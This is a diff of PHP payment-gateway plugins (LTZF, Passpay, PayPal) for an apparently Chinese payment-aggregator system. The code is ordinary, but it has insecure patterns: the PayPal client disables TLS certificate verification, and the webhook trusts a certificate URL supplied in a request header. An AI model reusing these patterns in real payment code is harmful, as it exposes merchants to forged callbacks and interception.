'msg'=>$ex->getMessage()]; + } + } +} \ No newline at end of file diff --git a/plugins/ltzf/ltzf_plugin.php b/plugins/ltzf/ltzf_plugin.php new file mode 100644 index 0000000..d8c9373 --- /dev/null +++ b/plugins/ltzf/ltzf_plugin.php @@ -0,0 +1,236 @@ + 'ltzf', //支付插件英文名称,需和目录名称一致,不能有重复 + 'showname' => '蓝兔支付', //支付插件显示名称 + 'author' => '蓝兔支付', //支付插件作者 + 'link' => 'https://www.ltzf.cn/', //支付插件作者链接 + 'types' => ['alipay','wxpay'], //支付插件支持的支付方式,可选的有alipay,qqpay,wxpay,bank + 'inputs' => [ //支付插件要求传入的参数以及参数显示名称,可选的有appid,appkey,appsecret,appurl,appmchid + 'appid' => [ + 'name' => '商户号', + 'type' => 'input', + 'note' => '', + ], + 'appkey' => [ + 'name' => '商户密钥', + 'type' => 'input', + 'note' => '', + ], + ], + 'select_wxpay' => [ + '1' => '扫码支付', + '2' => 'H5支付', + '3' => '公众号支付', + ], + 'select_alipay' => [ + '1' => '扫码支付', + '2' => 'H5支付', + ], + 'select' => null, + 'note' => '', //支付密钥填写说明 + 'bindwxmp' => false, //是否支持绑定微信公众号 + 'bindwxa' => false, //是否支持绑定微信小程序 + ]; + + const API_URL = 'https://api.ltzf.cn'; + + static public function submit(){ + global $siteurl, $channel, $order, $sitename; + + if($order['typename']=='alipay'){ + return ['type'=>'jump','url'=>'/pay/alipay/'.TRADE_NO.'/']; + }elseif($order['typename']=='wxpay'){ + return ['type'=>'jump','url'=>'/pay/wxpay/'.TRADE_NO.'/']; + } + } + + static public function mapi(){ + global $siteurl, $channel, $order, $device, $mdevice; + + if($order['typename']=='alipay'){ + return self::alipay(); + }elseif($order['typename']=='wxpay'){ + return self::wxpay(); + } + } + + static private function make_sign($param, $name, $key){ + ksort($param); + $signstr = ''; + + foreach($param as $k => $v){ + if(in_array($k, $name) && $v!==null && $v!==''){ + $signstr .= $k.'='.$v.'&'; + } + } + $signstr .= 'key='.$key; + $sign = strtoupper(md5($signstr)); + return $sign; + } + + //通用创建订单 + static private function addOrder($path){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + $param = [ + 'mch_id' => $channel['appid'], + 'out_trade_no' => TRADE_NO, + 'total_fee' => $order['realmoney'], + 'body' => $ordername, + 'timestamp' => time(), + 'notify_url' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + 'return_url' => $siteurl.'pay/ok/'.TRADE_NO.'/', + 'quit_url' => $siteurl.'pay/error/'.TRADE_NO.'/', + ]; + $sign_param = ['mch_id','out_trade_no','total_fee','body','timestamp','notify_url']; + $param['sign'] = self::make_sign($param, $sign_param, $channel['appkey']); + + $response = get_curl(self::API_URL.$path, http_build_query($param)); + $result = json_decode($response, true); + + if(isset($result["code"]) && $result["code"]==0){ + return $result['data']; + }else{ + throw new Exception($result["msg"]?$result["msg"]:'返回数据解析失败'); + } + } + + //支付宝扫码支付 + static public function alipay(){ + global $channel, $device; + if(in_array('2',$channel['apptype']) && (checkmobile() || $device=='mobile')){ + try{ + $result = self::addOrder('/api/alipay/h5'); + $h5_url = $result['h5_url']; + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'支付宝下单失败!'.$ex->getMessage()]; + } + return ['type'=>'jump','url'=>$h5_url]; + }else{ + try{ + $code_img_url = self::addOrder('/api/alipay/native'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'支付宝下单失败!'.$ex->getMessage()]; + } + $code_url = 'data:image/png;base64,'.base64_encode(get_curl($code_img_url)); + return ['type'=>'qrcode','page'=>'alipay_qrcode','url'=>$code_url]; + } + } + + //微信扫码支付 + static public function wxpay(){ + global $channel, $device, $mdevice; + if(in_array('3',$channel['apptype']) && (checkwechat() || $mdevice=='wechat')){ + try{ + $result = self::addOrder('/api/wxpay/jsapi_convenient'); + $jump_url = $result['order_url']; + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$ex->getMessage()]; + } + return ['type'=>'jump','url'=>$jump_url]; + } + elseif(in_array('2',$channel['apptype']) && (checkmobile() && !checkwechat() || $device=='mobile' && $mdevice!='wechat')){ + try{ + $jump_url = self::addOrder('/api/wxpay/jump_h5'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$ex->getMessage()]; + } + return ['type'=>'jump','url'=>$jump_url]; + } + elseif(in_array('1',$channel['apptype'])){ + try{ + $result = self::addOrder('/api/wxpay/native'); + $code_url = $result['code_url']; + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$ex->getMessage()]; + } + } + elseif(in_array('3',$channel['apptype'])){ + try{ + $result = self::addOrder('/api/wxpay/jsapi_convenient'); + $code_url = $result['order_url']; + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$ex->getMessage()]; + } + } + if (checkmobile()) { + return ['type'=>'qrcode','page'=>'wxpay_wap','url'=>$code_url]; + } else { + return ['type'=>'qrcode','page'=>'wxpay_qrcode','url'=>$code_url]; + } + } + + //异步回调 + static public function notify(){ + global $channel, $order; + + $arr = $_POST; + $sign_param = ['code','timestamp','mch_id','order_no','out_trade_no','pay_no','total_fee']; + $sign = self::make_sign($arr, $sign_param, $channel['appkey']); + + if($sign===$arr["sign"]){ + if($arr['code'] == '0'){ + $out_trade_no = $arr['out_trade_no']; + $trade_no = $arr['order_no']; + + if ($out_trade_no == TRADE_NO) { + processNotify($order, $trade_no, $arr['openid']); + } + return ['type'=>'html','data'=>'SUCCESS']; + }else{ + return ['type'=>'html','data'=>'FAIL']; + } + }else{ + return ['type'=>'html','data'=>'FAIL']; + } + } + + //支付返回页面 + static public function return(){ + return ['type'=>'page','page'=>'return']; + } + + //支付成功页面 + static public function ok(){ + return ['type'=>'page','page'=>'ok']; + } + + //支付失败页面 + static public function error(){ + return ['type'=>'page','page'=>'error']; + } + + //退款 + static public function refund($order){ + global $channel; + if(empty($order))exit(); + + if($order['type'] == 2){ + $path = '/api/wxpay/refund_order'; + }else{ + $path = '/api/alipay/refund_order'; + } + + $param = [ + 'mch_id' => $channel['appid'], + 'out_trade_no' => $order['trade_no'], + 'out_refund_no' => $order['refund_no'], + 'timestamp' => time(), + 'refund_fee' => $order['refundmoney'], + ]; + $sign_param = ['mch_id','out_trade_no','out_refund_no','timestamp','refund_fee']; + $param['sign'] = self::make_sign($param, $sign_param, $channel['appkey']); + + $response = get_curl(self::API_URL.$path, http_build_query($param)); + $result = json_decode($response, true); + + if(isset($result["code"]) && $result["code"]==0){ + return ['code'=>0, 'trade_no'=>$order['data']['out_trade_no'], 'refund_fee'=>$order['refundmoney']]; + }else{ + return ['code'=>-1, 'msg'=>$result["msg"]?$result["msg"]:'返回数据解析失败']; + } + } +} \ No newline at end of file diff --git a/plugins/passpay/inc/PasspayClient.php b/plugins/passpay/inc/PasspayClient.php new file mode 100644 index 0000000..1d47eee --- /dev/null +++ b/plugins/passpay/inc/PasspayClient.php @@ -0,0 +1,107 @@ +apiurl = $apiurl; + $this->mchid = $mchid; + $this->merchant_private_key = $merchant_private_key; + $this->platform_public_key = $platform_public_key; + } + + //请求API接口并解析返回数据 + public function execute($method, $bizContent) + { + $requrl = $this->apiurl . $method; + $params = [ + 'mchid' => $this->mchid, + 'method' => $method, + 'charset' => $this->charset, + 'sign_type' => $this->sign_type, + 'timestamp' => time(), + 'version' => $this->version, + 'biz_content' => json_encode($bizContent) + ]; + $params['sign'] = $this->generateSign($params); + $response = get_curl($requrl, http_build_query($params)); + $result = json_decode($response, true); + if(isset($result['code']) && $result['code']==1){ + return $result['data']; + }elseif(isset($result['msg'])){ + throw new Exception($result['msg']); + }else{ + throw new Exception('返回数据解析失败'); + } + } + + //获取待签名字符串 + private function getSignContent($param){ + ksort($param); + $signstr = ''; + + foreach($param as $k => $v){ + if($k != "sign" && $v!=='' && $v!==null){ + $signstr .= $k.'='.$v.'&'; + } + } + $signstr = substr($signstr,0,-1); + return $signstr; + } + + //请求参数签名 + private function generateSign($param){ + return $this->rsaPrivateSign($this->getSignContent($param)); + } + + //验签方法 + public function verifySign($param){ + if(empty($param['sign'])) return false; + return $this->rsaPubilcSign($this->getSignContent($param), $param['sign']); + } + + //商户私钥签名 + private function rsaPrivateSign($data){ + $priKey = $this->merchant_private_key; + $res = "-----BEGIN RSA PRIVATE KEY-----\n" . + wordwrap($priKey, 64, "\n", true) . + "\n-----END RSA PRIVATE KEY-----"; + $pkeyid = openssl_pkey_get_private($res); + if(!$pkeyid){ + throw new Exception('签名失败,商户私钥不正确'); + } + openssl_sign($data, $signature, $pkeyid, OPENSSL_ALGO_SHA256); + $signature = base64_encode($signature); + return $signature; + } + + //平台公钥验签 + private function rsaPubilcSign($data, $signature){ + $pubKey = $this->platform_public_key; + $res = "-----BEGIN PUBLIC KEY-----\n" . + wordwrap($pubKey, 64, "\n", true) . + "\n-----END PUBLIC KEY-----"; + $pubkeyid = openssl_pkey_get_public($res); + if(!$pubkeyid){ + throw new Exception('验签失败,平台公钥不正确'); + } + $result = openssl_verify($data, base64_decode($signature), $pubkeyid, OPENSSL_ALGO_SHA256); + return $result === 1; + } +} diff --git a/plugins/passpay/passpay_plugin.php b/plugins/passpay/passpay_plugin.php new file mode 100644 index 0000000..2e1cdec --- /dev/null +++ b/plugins/passpay/passpay_plugin.php @@ -0,0 +1,364 @@ + 'passpay', //支付插件英文名称,需和目录名称一致,不能有重复 + 'showname' => '精秀支付', //支付插件显示名称 + 'author' => '精秀', //支付插件作者 + 'link' => 'https://www.jxpays.com/', //支付插件作者链接 + 'types' => ['alipay','wxpay','qqpay','bank'], //支付插件支持的支付方式,可选的有alipay,qqpay,wxpay,bank + 'inputs' => [ //支付插件要求传入的参数以及参数显示名称,可选的有appid,appkey,appsecret,appurl,appmchid + 'appurl' => [ + 'name' => 'API接口地址', + 'type' => 'input', + 'note' => '以http://或https://开头,以/结尾', + ], + 'appid' => [ + 'name' => '商户编号', + 'type' => 'input', + 'note' => '', + ], + 'appkey' => [ + 'name' => '商户私钥', + 'type' => 'textarea', + 'note' => '', + ], + 'appsecret' => [ + 'name' => '平台公钥', + 'type' => 'textarea', + 'note' => '', + ], + 'appmchid' => [ + 'name' => '通道ID', + 'type' => 'input', + 'note' => '不填写将进行子商户号轮训', + ], + ], + 'select_alipay' => [ + '1' => '支付宝当面付', + '2' => '支付宝电脑', + '3' => '支付宝H5', + '4' => '支付宝生活号', + ], + 'select_wxpay' => [ + '1' => '微信扫码', + '2' => '微信公众号', + '3' => '微信H5', + '4' => '微信小程序H5', + ], + 'select' => null, + 'note' => null, //支付密钥填写说明 + 'bindwxmp' => true, //是否支持绑定微信公众号 + 'bindwxa' => true, //是否支持绑定微信小程序 + ]; + + static public function submit(){ + global $siteurl, $channel, $order, $sitename; + + if($order['typename']=='alipay'){ + return ['type'=>'jump','url'=>'/pay/alipay/'.TRADE_NO.'/']; + }elseif($order['typename']=='wxpay'){ + if(checkwechat() && in_array('2',$channel['apptype'])){ + return ['type'=>'jump','url'=>'/pay/wxjspay/'.TRADE_NO.'/?d=1']; + }elseif(checkmobile() && (in_array('3',$channel['apptype']) || in_array('4',$channel['apptype']))){ + return ['type'=>'jump','url'=>'/pay/wxwappay/'.TRADE_NO.'/']; + }else{ + return ['type'=>'jump','url'=>'/pay/wxpay/'.TRADE_NO.'/']; + } + }elseif($order['typename']=='qqpay'){ + return ['type'=>'jump','url'=>'/pay/qqpay/'.TRADE_NO.'/']; + }elseif($order['typename']=='bank'){ + return ['type'=>'jump','url'=>'/pay/bank/'.TRADE_NO.'/']; + } + } + + static public function mapi(){ + global $siteurl, $channel, $order, $conf, $device, $mdevice; + + if($order['typename']=='alipay'){ + return self::alipay(); + }elseif($order['typename']=='wxpay'){ + if($mdevice=='wechat' && in_array('2',$channel['apptype'])){ + return ['type'=>'jump','url'=>$siteurl.'pay/wxjspay/'.TRADE_NO.'/?d=1']; + }elseif($device=='mobile' && (in_array('3',$channel['apptype']) || in_array('4',$channel['apptype']))){ + return self::wxwappay(); + }else{ + return self::wxpay(); + } + }elseif($order['typename']=='qqpay'){ + return self::qqpay(); + }elseif($order['typename']=='bank'){ + return self::bank(); + } + } + + //统一下单 + static private function addOrder($trade_type, $sub_appid=null, $sub_openid=null){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + require_once PAY_ROOT."inc/PasspayClient.php"; + + $client = new PasspayClient($channel['appurl'], $channel['appid'], $channel['appkey'], $channel['appsecret']); + + if($_GET['d'] == 1){ + $return_url = $siteurl.'pay/return/'.TRADE_NO.'/'; + }else{ + $return_url = $siteurl.'pay/ok/'.TRADE_NO.'/'; + } + $param = [ + 'trade_type' => $trade_type, + 'pay_channel_id' => $channel['appmchid'], + 'out_trade_no' => TRADE_NO, + 'total_amount' => $order['realmoney'], + "subject" => $ordername, + 'notify_url' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + 'return_url' => $return_url, + 'client_ip' => $clientip, + ]; + if($sub_appid && $sub_openid){ + $param += [ + 'sub_appid' => $sub_appid, + 'user_id' => $sub_openid, + 'channe_expend' => json_encode(['is_raw' => 1]) + ]; + } + + return \lib\Payment::lockPayData(TRADE_NO, function() use($client, $param) { + $result = $client->execute('pay.order/create', $param); + \lib\Payment::updateOrder(TRADE_NO, $result['trade_no']); + return $result; + }); + } + + //支付宝支付 + static public function alipay(){ + global $channel, $device, $mdevice, $siteurl; + if(in_array('3',$channel['apptype']) && ($device=='mobile' || checkmobile())){ + $trade_type = 'alipayWap'; + }elseif(in_array('2',$channel['apptype']) && ($device=='pc' || !checkmobile())){ + $trade_type = 'alipayPc'; + }elseif(in_array('4',$channel['apptype']) && !in_array('3',$channel['apptype'])){ + $trade_type = 'alipayPub'; + }else{ + $trade_type = 'alipayQr'; + } + try{ + $result = self::addOrder($trade_type); + $code_url = $result['payurl']; + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'支付宝支付下单失败!'.$ex->getMessage()]; + } + + if(checkalipay() || $mdevice=='alipay'){ + return ['type'=>'jump','url'=>$code_url]; + }else{ + return ['type'=>'qrcode','page'=>'alipay_qrcode','url'=>$code_url]; + } + } + + //微信扫码支付 + static public function wxpay(){ + try{ + $result = self::addOrder('wechatQr'); + $code_url = $result['payurl']; + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$ex->getMessage()]; + } + + if(checkwechat()){ + return ['type'=>'jump','url'=>$code_url]; + } elseif (checkmobile()) { + return ['type'=>'qrcode','page'=>'wxpay_wap','url'=>$code_url]; + } else { + return ['type'=>'qrcode','page'=>'wxpay_qrcode','url'=>$code_url]; + } + } + + //微信公众号支付 + static public function wxjspay(){ + global $siteurl, $channel, $order, $ordername, $conf; + + if($channel['appwxmp'] > 0){ + //①、获取用户openid + $wxinfo = \lib\Channel::getWeixin($channel['appwxmp']); + if(!$wxinfo) return ['type'=>'error','msg'=>'支付通道绑定的微信公众号不存在']; + try{ + $tools = new \WeChatPay\JsApiTool($wxinfo['appid'], $wxinfo['appsecret']); + $openid = $tools->GetOpenid(); + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + $blocks = checkBlockUser($openid, TRADE_NO); + if($blocks) return $blocks; + + //②、统一下单 + try{ + $result = self::addOrder('wechatPub', $wxinfo['appid'], $openid); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$ex->getMessage()]; + } + + if($_GET['d']==1){ + $redirect_url='data.backurl'; + }else{ + $redirect_url='\'/pay/ok/'.TRADE_NO.'/\''; + } + return ['type'=>'page','page'=>'wxpay_jspay','data'=>['jsApiParameters'=>$result['payInfo'], 'redirect_url'=>$redirect_url]]; + }else{ + try{ + $result = self::addOrder('wechatPub'); + $code_url = $result['payurl']; + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$ex->getMessage()]; + } + return ['type'=>'jump','url'=>$code_url]; + } + } + + //微信小程序支付 + static public function wxminipay(){ + global $siteurl, $channel, $order, $ordername, $conf; + + $code = isset($_GET['code'])?trim($_GET['code']):exit('{"code":-1,"msg":"code不能为空"}'); + + //①、获取用户openid + $wxinfo = \lib\Channel::getWeixin($channel['appwxa']); + if(!$wxinfo)exit('{"code":-1,"msg":"支付通道绑定的微信小程序不存在"}'); + try{ + $tools = new \WeChatPay\JsApiTool($wxinfo['appid'], $wxinfo['appsecret']); + $openid = $tools->AppGetOpenid($code); + }catch(Exception $e){ + exit('{"code":-1,"msg":"'.$e->getMessage().'"}'); + } + $blocks = checkBlockUser($openid, TRADE_NO); + if($blocks)exit('{"code":-1,"msg":"'.$blocks['msg'].'"}'); + + //②、统一下单 + try{ + $result = self::addOrder('wechatLite', $wxinfo['appid'], $openid); + }catch(Exception $ex){ + exit('{"code":-1,"msg":"'.$ex->getMessage().'"}'); + } + + exit(json_encode(['code'=>0, 'data'=>json_decode($result['payInfo'], true)])); + } + + //微信手机支付 + static public function wxwappay(){ + global $siteurl,$channel, $order, $ordername, $conf, $clientip; + + if(in_array('4',$channel['apptype']) && $channel['appwxa']>0){ + $wxinfo = \lib\Channel::getWeixin($channel['appwxa']); + if(!$wxinfo) return ['type'=>'error','msg'=>'支付通道绑定的微信小程序不存在']; + try{ + $code_url = wxminipay_jump_scheme($wxinfo['id'], TRADE_NO); + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + return ['type'=>'scheme','page'=>'wxpay_mini','url'=>$code_url]; + }else{ + if(in_array('3',$channel['apptype'])){ + $trade_type = 'wechatWap'; + }else{ + $trade_type = 'wechatLiteH5'; + } + try{ + $result = self::addOrder($trade_type); + $code_url = $result['payurl']; + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$ex->getMessage()]; + } + return ['type'=>'qrcode','page'=>'wxpay_h5','url'=>$code_url]; + } + } + + //QQ扫码支付 + static public function qqpay(){ + try{ + $code_url = self::addOrder('qqQr'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'QQ钱包支付下单失败!'.$ex->getMessage()]; + } + + if(checkmobbileqq()){ + return ['type'=>'jump','url'=>$code_url]; + } elseif(checkmobile() && !isset($_GET['qrcode'])){ + return ['type'=>'qrcode','page'=>'qqpay_wap','url'=>$code_url]; + } else { + return ['type'=>'qrcode','page'=>'qqpay_qrcode','url'=>$code_url]; + } + } + + //云闪付扫码支付 + static public function bank(){ + try{ + $code_url = self::addOrder('unionQr'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'云闪付下单失败!'.$ex->getMessage()]; + } + + return ['type'=>'qrcode','page'=>'bank_qrcode','url'=>$code_url]; + } + + //异步回调 + static public function notify(){ + global $channel, $order; + + require_once PAY_ROOT."inc/PasspayClient.php"; + + $client = new PasspayClient($channel['appurl'], $channel['appid'], $channel['appkey'], $channel['appsecret']); + $verify_result = $client->verifySign($_POST); + + if($verify_result){ + if ($_POST['order_status'] == 'SUCCESS') { + $out_trade_no = $_POST['out_trade_no']; + $trade_no = $_POST['trade_no']; + $bill_trade_no = $_POST['channel_order_sn']; + if($out_trade_no == TRADE_NO){ + processNotify($order, $trade_no, null, $bill_trade_no); + } + return ['type'=>'html','data'=>'success']; + } + return ['type'=>'html','data'=>'status fail']; + } + else { + return ['type'=>'html','data'=>'sign fail']; + } + } + + //支付成功页面 + static public function ok(){ + return ['type'=>'page','page'=>'ok']; + } + + //支付返回页面 + static public function return(){ + return ['type'=>'page','page'=>'return']; + } + + //退款 + static public function refund($order){ + global $channel; + if(empty($order))exit(); + + require_once PAY_ROOT."inc/PasspayClient.php"; + + $client = new PasspayClient($channel['appurl'], $channel['appid'], $channel['appkey'], $channel['appsecret']); + + $param = [ + 'refund_amount' => $order['refundmoney'], + 'refund_reason' => '订单退款', + 'out_refund_no' => $order['refund_no'], + 'trade_no' => $order['api_trade_no'], + ]; + + try{ + $result = $client->execute('pay.order/refund', $param); + }catch(Exception $e){ + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + + return ['code'=>0, 'trade_no'=>$result['trade_no'], 'refund_fee'=>$result['refund_amount']]; + } + +} \ No newline at end of file diff --git a/plugins/paypal/inc/PayPalClient.php b/plugins/paypal/inc/PayPalClient.php new file mode 100644 index 0000000..138a896 --- /dev/null +++ b/plugins/paypal/inc/PayPalClient.php @@ -0,0 +1,119 @@ + 'https://api-m.paypal.com', + 1 => 'https://api-m.sandbox.paypal.com', + ]; + + private $gateway_url; + private $client_id; + private $client_secret; + private $access_token; + + public function __construct($client_id, $client_secret, $mode) + { + $this->gateway_url = self::$api_url[$mode]; + $this->client_id = $client_id; + $this->client_secret = $client_secret; + $this->access_token = $this->getAccessToken(); + } + + //获取Token + public function getAccessToken(){ + $path = '/v1/oauth2/token'; + $post = 'grant_type=client_credentials'; + $result = $this->curl($this->gateway_url . $path, $post, true); + $this->access_token = $result['access_token']; + return $this->access_token; + } + + //创建订单 + public function createOrder($params){ + $path = '/v2/checkout/orders'; + return $this->curl($this->gateway_url . $path, $params); + } + + //支付订单 + public function captureOrder($id){ + $path = '/v2/checkout/orders/'.$id.'/capture'; + return $this->curl($this->gateway_url . $path, ''); + } + + //查询订单 + public function orderDetail($id){ + $path = '/v2/checkout/orders/'.$id; + return $this->curl($this->gateway_url . $path); + } + + //查询支付 + public function paymentDetail($capture_id){ + $path = '/v2/payments/captures/'.$capture_id; + return $this->curl($this->gateway_url . $path); + } + + //退款 + public function refundPayment($capture_id, $params){ + $path = '/v2/payments/captures/'.$capture_id.'/refund'; + return $this->curl($this->gateway_url . $path, $params); + } + + //退款查询 + public function refundDetail($refund_id){ + $path = '/v2/payments/refunds/'.$refund_id; + return $this->curl($this->gateway_url . $path); + } + + private function curl($url, $data = null, $auth = false) + { + $header[] = 'Accept: application/json'; + $header[] = 'Content-Type: application/json'; + if(!empty($this->access_token)) + { + $header[] = 'Authorization: Bearer '.$this->access_token; + } + if($data !== null && is_array($data)){ + $data = json_encode($data); + } + + $curlVersion = curl_version(); + $ua = 'PayPalSDK/PayPal-PHP-SDK 1.14.0 (platform-ver='.PHP_VERSION.'; os='.str_replace(' ', '_', php_uname('s') . ' ' . php_uname('r')).'; machine='.php_uname('m').'; curl='.$curlVersion['version'].')'; + + $ch = curl_init(); + curl_setopt($ch, CURLOPT_URL, $url); + curl_setopt($ch, CURLOPT_FAILONERROR, false); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); + curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); + if($data !== null){ + curl_setopt($ch, CURLOPT_POST, true); + curl_setopt($ch, CURLOPT_POSTFIELDS, $data); + } + curl_setopt($ch, CURLOPT_HTTPHEADER, $header); + curl_setopt($ch, CURLOPT_USERAGENT, $ua); + curl_setopt($ch, CURLOPT_TIMEOUT, 30); + // 获取token + if ($auth) { + curl_setopt($ch, CURLOPT_USERPWD, $this->client_id.':'.$this->client_secret); + } + $response = curl_exec($ch); + if (curl_errno($ch)) { + throw new Exception('curl error: '.curl_error($ch)); + } + $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); + curl_close($ch); + $result = json_decode($response, true); + if($httpCode>=200 && $httpCode<300){ + return $result; + }else{ + if(isset($result['error_description'])){ + throw new Exception('['.$result['error'].']'.$result['error_description']); + }elseif(isset($result['message'])){ + throw new Exception('['.$result['name'].']'.$result['message']); + }else{ + throw new Exception('返回数据解析失败(httpCode='.$httpCode.')'); + } + } + } +} \ No newline at end of file diff --git a/plugins/paypal/paypal_plugin.php b/plugins/paypal/paypal_plugin.php new file mode 100644 index 0000000..1d933df --- /dev/null +++ b/plugins/paypal/paypal_plugin.php @@ -0,0 +1,220 @@ + 'paypal', //支付插件英文名称,需和目录名称一致,不能有重复 + 'showname' => 'PayPal', //支付插件显示名称 + 'author' => 'PayPal', //支付插件作者 + 'link' => 'https://www.paypal.com/', //支付插件作者链接 + 'types' => ['paypal'], //支付插件支持的支付方式,可选的有alipay,qqpay,wxpay,bank + 'inputs' => [ //支付插件要求传入的参数以及参数显示名称,可选的有appid,appkey,appsecret,appurl,appmchid + 'appid' => [ + 'name' => 'ClientId', + 'type' => 'input', + 'note' => '', + ], + 'appkey' => [ + 'name' => 'ClientSecret', + 'type' => 'input', + 'note' => '', + ], + 'appswitch' => [ + 'name' => '模式选择', + 'type' => 'select', + 'options' => [0=>'线上模式',1=>'沙盒模式'], + ], + 'currency_code' => [ + 'name' => '结算货币', + 'type' => 'select', + 'options' => [ + 'USD' => '美元 (USD)', + 'AUD' => '澳元 (AUD)', + 'BRL' => '巴西雷亚尔 (BRL)', + 'CAD' => '加拿大元 (CAD)', + 'CNY' => '人民币 (CNY)', + 'CZK' => '克朗 (CZK)', + 'DKK' => '丹麦克朗(DKK)', + 'EUR' => '欧元 (EUR)', + 'HKD' => '港币 (HKD)', + 'HUF' => '匈牙利福林 (HUF)', + 'INR' => '印度卢比 (INR)', + 'ILS' => '以色列新谢克尔 (ILS)', + 'JPY' => '日元 (JPY)', + 'MYR' => '马来西亚林吉特 (MYR)', + 'MXN' => '墨西哥比索 (MXN)', + 'TWD' => '新台币 (TWD)', + 'NZD' => '新西兰元 (NZD)', + 'NOK' => '挪威克朗 (NOK)', + 'PHP' => '菲律宾比索 (PHP)', + 'PLN' => '波兰兹罗提 (PLN)', + 'GBP' => '英镑 (GBP)', + 'RUB' => '俄罗斯卢布 (RUB)', + 'SGD' => '新加坡元 (SGD)', + 'SEK' => '瑞典克朗 (SEK)', + 'CHF' => '瑞士法郎 (CHF)', + 'THB' => '泰铢 (THB)', + ], + ], + 'currency_rate' => [ + 'name' => '货币汇率', + 'type' => 'input', + 'note' => '例如1元人民币兑换0.137美元(USD),则此处填0.137', + ], + ], + 'select' => null, + 'note' => '', //支付密钥填写说明 + 'bindwxmp' => false, //是否支持绑定微信公众号 + 'bindwxa' => false, //是否支持绑定微信小程序 + ]; + + static public function submit(){ + global $siteurl, $channel, $order, $ordername, $sitename, $conf, $DB; + + require_once(PAY_ROOT."inc/PayPalClient.php"); + + if(!$channel['currency_rate']) $channel['currency_rate'] = 1; + $money = round($order['realmoney'] * $channel['currency_rate'], 2); + + $parameter = [ + 'intent' => 'CAPTURE', + 'purchase_units' => [ + [ + 'amount' => [ + 'currency_code' => $channel['currency_code'], + 'value' => $money, + ], + 'description' => $order['name'], + 'custom_id' => TRADE_NO, + 'invoice_id' => TRADE_NO, + ], + ], + 'application_context'=> [ + 'cancel_url' => $siteurl.'pay/cancel/'.TRADE_NO.'/', + 'return_url' => $siteurl.'pay/return/'.TRADE_NO.'/', + ], + ]; + + try { + $approvalUrl = \lib\Payment::lockPayData(TRADE_NO, function() use($channel, $parameter) { + $client = new PayPalClient($channel['appid'], $channel['appkey'], $channel['appswitch']); + $result = $client->createOrder($parameter); + + $approvalUrl = null; + foreach($result['links'] as $link){ + if($link['rel'] == 'approve'){ + $approvalUrl = $link['href']; + } + } + if(empty($approvalUrl)){ + throw new Exception('获取支付链接失败'); + } + return $approvalUrl; + }); + + return ['type'=>'jump','url'=>$approvalUrl]; + } + catch (Exception $ex) { + sysmsg('PayPal下单失败:'.$ex->getMessage()); + } + } + + //同步回调 + static public function return(){ + global $channel, $order; + + require_once(PAY_ROOT."inc/PayPalClient.php"); + + if (isset($_GET['token']) && isset($_GET['PayerID'])) { + + $token = $_GET['token']; + try { + $client = new PayPalClient($channel['appid'], $channel['appkey'], $channel['appswitch']); + $result = $client->captureOrder($token); + } catch (Exception $ex) { + return ['type'=>'error','msg'=>'支付订单失败 '.$ex->getMessage()]; + } + + $captures = $result['purchase_units'][0]['payments']['captures'][0]; + $amount = $captures['seller_receivable_breakdown']['gross_amount']['value']; + $trade_no = $captures['id']; + $out_trade_no = $captures['invoice_id']; + $buyer = $result['payer']['email_address']; + + if($out_trade_no == TRADE_NO){ + processReturn($order, $trade_no, $buyer); + }else{ + return ['type'=>'error','msg'=>'订单信息校验失败']; + } + } else { + return ['type'=>'error','msg'=>'PayPal返回参数错误']; + } + } + + static public function cancel(){ + return ['type'=>'page','page'=>'error']; + } + + static public function webhook(){ + global $channel, $order; + $json = file_get_contents('php://input'); + $arr = json_decode($json, true); + if(!$arr || empty($arr['event_type'])){ + exit('事件类型为空'); + } + if(!in_array($arr['event_type'], ['PAYMENT.CAPTURE.COMPLETED'])){ + exit('其他事件('.$arr['event_type'].':'.$arr['summary'].')'); + } + if(empty($channel['appsecret'])){ + exit('未配置webhookid'); + } + + $crc32 = crc32($json); + if (empty($_SERVER['HTTP_PAYPAL_TRANSMISSION_ID']) || empty($_SERVER['HTTP_PAYPAL_TRANSMISSION_TIME']) || empty($crc32)) { + exit('签名数据为空'); + } + $sign_string = $_SERVER['HTTP_PAYPAL_TRANSMISSION_ID'].'|'.$_SERVER['HTTP_PAYPAL_TRANSMISSION_TIME'].'|'.$channel['appsecret'].'|'.$crc32; + + // 通过PAYPAL-CERT-URL头信息去拿公钥 + $public_key = openssl_pkey_get_public(get_curl($_SERVER['HTTP_PAYPAL_CERT_URL'])); + $details = openssl_pkey_get_details($public_key); + $verify = openssl_verify($sign_string, base64_decode($_SERVER['HTTP_PAYPAL_TRANSMISSION_SIG']), $details['key'], 'SHA256'); + if($verify != 1) + { + exit('签名验证失败'); + } + + $resource = $arr['resource']; + $amount = $resource['amount']['value']; + $trade_no = $resource['id']; + $out_trade_no = $resource['invoice_id']; + } + + //退款 + static public function refund($order){ + global $channel; + if(empty($order))exit(); + + require_once(PAY_ROOT."inc/PayPalClient.php"); + + if(!$channel['currency_rate']) $channel['currency_rate'] = 1; + $money = round($order['refundmoney'] * $channel['currency_rate'], 2); + + $parameter = [ + 'amount' => [ + 'currency_code' => $channel['currency_code'], + 'value' => $money, + ], + 